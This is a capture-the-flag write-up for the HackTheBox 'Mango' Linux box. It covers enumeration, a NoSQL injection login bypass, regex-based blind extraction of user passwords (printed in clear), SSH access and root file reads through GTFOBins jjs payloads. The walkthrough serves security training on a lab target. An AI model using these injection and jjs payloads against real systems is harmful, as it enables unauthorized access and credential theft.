HTB Mango CTF Writeup
Medium-rated Linux box. A NoSQL injection in a MongoDB-backed login form extracts credentials character by character via regex blind injection. SSH access pivots to another user whose GTFOBins jjs Java binary escalates to root.
HTB Mango CTF
Summary
Mango is a Medium-difficulty Linux machine featuring NoSQL injection and GTFObins-based privilege escalation. Initial enumeration reveals domains mango.htb and staging-order.mango.htb via SSL certificate inspection. The staging login form at http://staging-order.mango.htb/ is vulnerable to NoSQL injection, allowing authentication bypass with the payload username[$ne]=toto&password[$ne]=toto. Exploiting the NoSQL injection further using regex operators ($regex=^) enables character-by-character enumeration of usernames and passwords, revealing credentials for two users: admin:t9KcS3>!0B#2 and mango:h3mXK8RhU~f{]f5H. SSH access is gained as the mango user, followed by horizontal privilege escalation to admin using the extracted password. The /usr/lib/jvm/java-11-openjdk-amd64/bin/jjs binary is found to be owned by the admin group. Leveraging GTFObins, the jjs binary’s file read capability is exploited to directly read the root flag without obtaining a full root shell.
Service Enumeration
I run:
1
nmap -A -vv -oN scans/nmap.initial 10.129.40.96
And get the following results:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
PORT STATE SERVICE REASON VERSION
22/tcp open ssh syn-ack OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
80/tcp open http syn-ack Apache httpd 2.4.29
|_http-title: 403 Forbidden
| http-methods:
|_ Supported Methods: HEAD GET POST OPTIONS
|_http-server-header: Apache/2.4.29 (Ubuntu)
443/tcp open ssl/http syn-ack Apache httpd 2.4.29 ((Ubuntu))
| http-methods:
|_ Supported Methods: GET HEAD POST
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: 400 Bad Request
| tls-alpn:
|_ http/1.1
|_ssl-date: TLS randomness does not represent time
Service Info: Host: 10.129.40.96; OS: Linux; CPE: cpe:/o:linux:linux_kernel
Web Server Enumeration - 443
I access the web server on port 443. It warns be about the self-signed certificate. I click to “view certificate”. The certificate tells me some important details about the application:
This includes two domains:
1
2
staging-order.mango.htb
mango.htb
And a potential username:
I add the domains to my /etc/hosts file:
1
echo 10.129.40.96 mango.htb staging-order.mango.htb | sudo tee -a /etc/hosts
The web server on port 443 seems to be serving a single website though. If I access:
1
2
3
https://mango.htb/ or
https://staging-order.mango.htb/ or
https://10.129.40.96/
They all lead to the same webpage:
The name “mango” makes me thing of mongo db.
Directory Enumeration
Enumerate for directories and valid php endpoints:
1
ffuf -u https://10.129.40.96/FUZZ -w /usr/share/wordlists/SecLists/Discovery/Web-Content/raft-large-words.txt -e .php -t 50 -fw 20
But nothing is found here, beyond
Subdomain Enumeration
1
ffuf -u https://mango.htb/ -k -H "Host: FUZZ.mango.htb" -w /usr/share/wordlists/SecLists/Discovery/DNS/bitquark-subdomains-top100000.txt -t 50 -fs 5152
SQL Injection
I test for SQL injection in this search function:
1
ffuf -u https://10.129.40.96/ --data 'search=aFUZZ' -w /usr/share/wordlists/SecLists/Fuzzing/Databases/SQLi/Generic-SQLi.txt -H "Content-Type: application/x-www-form-urlencoded" -fs 5167
Web Server Enumeration - port 80
Subdomain Enumeration
I scan the web server twice with different wordlists. First one:
1
ffuf -u http://mango.htb/ -H "Host: FUZZ.mango.htb" -w /usr/share/wordlists/SecLists/Discovery/DNS/subdomains-top1million-110000.txt -t 50 -fw 20
And second one:
1
ffuf -u http://mango.htb/ -H "Host: FUZZ.mango.htb" -w /usr/share/wordlists/SecLists/Discovery/DNS/bitquark-subdomains-top100000.txt -t 50 -fw 20
But no results.
Directory Bruteforce
I run:
1
ffuf -u http://staging-order.mango.htb/FUZZ -w /usr/share/wordlists/SecLists/Discovery/Web-Content/raft-large-words.txt -e .php -t 50 -fw 20
But I get only two files:
1
2
index.php [Status: 200, Size: 4022, Words: 447, Lines: 210, Duration: 5243ms]
home.php [Status: 302, Size: 0, Words: 1, Lines: 1, Duration: 266ms]
Nothing really interesting here.
NoSQL Injection - Authentication Bypass
I’m able to bypass authentication on the login form at http://staging-order.mango.htb/ by injecting NoSQL statements into the application’s query.
I use random credentials on the login form to have a valid login request captured on burpsuite:
And this is how the login request, alongside the server response look like:
When the server receives invalid credentials, it returns a 200 OK status code. There are many online resources that serve as a database for possible NoSQL injection payloads. I use the following payload:
1
username[$ne]=toto&password[$ne]=toto&login=login
As you can see from the screenshot below:
The server responds with a 302 status code, indicating the login was a success. It redirects me to “home.php”. However, there’s nothing here:
I look at the source code for this page, and see nothing either. Was the login bypass here just a rabbit hole?
NoSQL Injection - Username + Password Enumeration
Following PayloadsAllTheThings, I see we can abuse NoSQL injection not only to bypass login, but also to extract length and data information:
I prepare a python script that will enumerate for valid users in this application
For instance, this is how the first request (to discover there’s a username that starts with the letter a) looks like:
1
2
3
4
5
6
7
8
9
10
11
POST / HTTP/1.1
Host: staging-order.mango.htb
User-Agent: python-requests/2.28.1
Accept-Encoding: gzip, deflate, br
Accept: */*
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Cookie: PHPSESSID=gt9qemefqtivb3hs2u37u4q17a
Content-Length: 60
username%5B%24regex%5D=%5Ea&password%5B%24ne%5D=&login=login
The POST data is url-encoded. I decode it to:
1
username[$regex]=^a&password[$ne]=&login=login
So as you can see, the script uses this regex operator to enumerate the username character by character until there’s no more matches. It’ll continue like:
1
2
3
4
5
username[$regex]=^aa&password[$ne]=&login=login
and then
username[$regex]=^ad&password[$ne]=&login=login
Until more matches are found. Ultimately, it returns me two valid users:
1
2
3
[*] Total usernames found: 2
1. admin
2. mango
I use the same script, but now I’m using the “password” mode to discover the password for the “admin” user:
This is how the command looks like:
1
python3 nosql.py -u http://staging-order.mango.htb/ -m password -U admin -c form -p http://127.0.0.1:8080 --threads 10
As you can see from the screenshot above, it works, and now I have the cleartext password for the admin user:
1
2
Username: admin
Password: t9KcS3>!0B#2
I do the same for the other user “mango” and it also works. Now I have the cleartext password for “mango” as well:
1
2
Username: mango
Password: h3mXK8RhU~f{]f5H
I save both passwords to “passwords.txt” just in case:
1
2
t9KcS3>!0B#2
h3mXK8RhU~f{]f5H
Initial Access - SSH as “mango”
I use the credentials from before to log in as “mango” via SSH:
1
ssh [email protected]
It works, and now I’m logged in as “mango”:
Horizontal Privilege Escalation - admin
I notice there’s an “admin” user in the system:
1
2
3
4
5
6
mango@mango:~$ ls -la /home
total 16
drwxr-xr-x 4 root root 4096 Oct 23 2023 .
drwxr-xr-x 23 root root 4096 Oct 23 2023 ..
drwxr-xr-x 2 admin admin 4096 Dec 18 19:09 admin
drwxr-xr-x 4 mango mango 4096 Oct 23 2023 mango
Since I have that other password for “admin”, I try loggin in, and I use that same password extracted from the NoSQL injection:
1
su admin
It works, and now I’m “admin”:
Vertical Privilege Escalation
I locate for files owned by the user “admin”, but have no luck. I then search for files owned by GROUP “admin”, and find something odd:
1
2
3
4
$ find / -group admin 2>/dev/null | grep -v proc
<SNIP>
/usr/lib/jvm/java-11-openjdk-amd64/bin/jjs
This “jjs” binary is well-known, and has its own entry in GTFObins:
The first payload I try is to get a shell. It’s described under the “suid” tab in GTFObins:
1
echo "Java.type('java.lang.Runtime').getRuntime().exec('/bin/sh -pc \$@|sh\${IFS}-p _ echo sh -p <$(tty) >$(tty) 2>$(tty)').waitFor()" | /usr/lib/jvm/java-11-openjdk-amd64/bin/jjs
It crashes my shell. GTFObins warns me:
This has been found working in macOS but failing on Linux systems.
So I guess this exploit won’t work here. I log back in via SSH and try the “file read” one that also seems promising:
1
2
3
4
echo 'var BufferedReader = Java.type("java.io.BufferedReader");
var FileReader = Java.type("java.io.FileReader");
var br = new BufferedReader(new FileReader("/root/root.txt"));
while ((line = br.readLine()) != null) { print(line); }' | /usr/lib/jvm/java-11-openjdk-amd64/bin/jjs
I run it, and it spits out the root flag:
Things Learned
Here are some of the things I learned from this box
NoSQL in PHP applications
The stuff with JSON objects is way more prone to happen in NodeJS applications. When dealing with a PHP webapp like this one, for NoSQL injection, I’d be good with:
1
username[$ne]=toto&password[$ne]=toto&login=login
No need for Content-Type: application/json or anything like that.
NoSQL Username + Pasword Enumeration - Automated Script
Using certain NoSQL operators it’s possible to enumerate valid usernames and also get the cleartext password for each user.
I developed a python script and posted it on github. This will assist me in future engagements where the app is vulnerable to NoSQL injection.













